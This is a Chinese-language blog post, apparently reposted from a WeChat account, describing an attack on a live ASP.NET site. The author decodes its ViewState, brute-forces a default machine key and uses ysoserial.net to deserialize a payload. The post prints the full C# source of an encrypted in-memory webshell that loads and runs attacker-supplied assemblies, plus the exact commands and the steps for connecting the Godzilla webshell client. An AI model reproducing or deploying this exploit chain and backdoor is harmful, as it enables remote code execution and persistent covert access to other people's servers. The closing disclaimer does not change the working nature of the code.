01
前言
本次议题是上篇文章的补充,本来是想用靶场来搞一下,没想到,在项目中遇到了,通过真实场景来攻击,变得更有意思了。
打开链接,吆,aspx的(由于背景图和logo太明显了,f12去掉了背景图),瞬间感觉这个网站有漏洞。
查看源代码,刚好存在viewstate标志性的内容
01
复制数据到下面的解密网站
viewstatedecoder.azurewebsites.net
发现竟然可以解密,说明web.config可能没启用加密配置,可能用的是默认key
01
爆破key
于是构造poc,开始爆破密钥,爆破成功,发现默认key,具体参数就不解释了,可参考上篇教程
【这个key 就类似shiro中的key,发现后就能利用,发现不了就GG】
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDw== --decrypt --purpose=viewstate --modifier=C2EE9ABB --macdecode --TargetPagePath
"./login.aspx"
-f
out
.txt --IISDirPath=
"/"
01
发现key后,利用net版yso构造exp,使用cmd传参,猜测可能有拦截,于是注入内存马
01
class
d
{
public
d
(
)
{
System.Web.HttpContext Context = System.Web.HttpContext.Current;
Context.Server.ClearError();
Context.Response.Clear();
try
{
string
key =
"3c6e0b8a9c15224a"
;
string
pass =
"pas"
;
string
md5 = System.BitConverter.ToString(
new
System.Security.Cryptography.MD5CryptoServiceProvider().ComputeHash(System.Text.Encoding.Default.GetBytes(pass + key))).Replace(
"-"
,
""
);
byte
[] data = System.Convert.FromBase64String(Context.Request[pass]);
data =
new
System.Security.Cryptography.RijndaelManaged().CreateDecryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(data,
0
, data.Length);
if
(Context.Session[
"payload"
] ==
null
)
{
Context.Session[
"payload"
] = (System.Reflection.Assembly)
typeof
(System.Reflection.Assembly).GetMethod(
"Load"
,
new
System.Type[] {
typeof
(
byte
[]) }).Invoke(
null
,
new
object
[] { data });
}
else
{
System.IO.MemoryStream outStream =
new
System.IO.MemoryStream();
object
o = ((System.Reflection.Assembly)Context.Session[
"payload"
]).CreateInstance(
"LY"
);
o.Equals(Context); o.Equals(outStream); o.Equals(data); o.ToString();
byte
[] r = outStream.ToArray();
Context.Response.Write(md5.Substring(
0
,
16
));
Context.Response.Write(System.Convert.ToBase64String(
new
System.Security.Cryptography.RijndaelManaged().CreateEncryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(r,
0
, r.Length))); Context.Response.Write(md5.Substring(
16
));
}
}
catch
(System.Exception) { }
Context.Response.Flush();
Context.Response.End();
}
}
01
生成加密数据
ysoserial.exe -p
ViewState
-g
ActivitySurrogateSelectorFromFile
-
c
"memshell.cs;./dlls/System.dll;./dlls/System.Web.dll"
--generator=
"C2EE9ABB"
--validationalg=
"SHA1"
--validationkey=
"C50xxxxxxxxxxxxxxABE"
攻击成功,说明已经打进去了,路径的话就是/*
01
添加哥斯拉
请求配置,将下面的数据放到框里,最后的&符合加上去,不加连不上
__VIEWSTATE
=&__VIEWSTATEGENERATOR=C2EE9ABB&
原文始发于微信公众号(轩公子谈技术):.NET系统|看我如何一步到位注入内存马
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论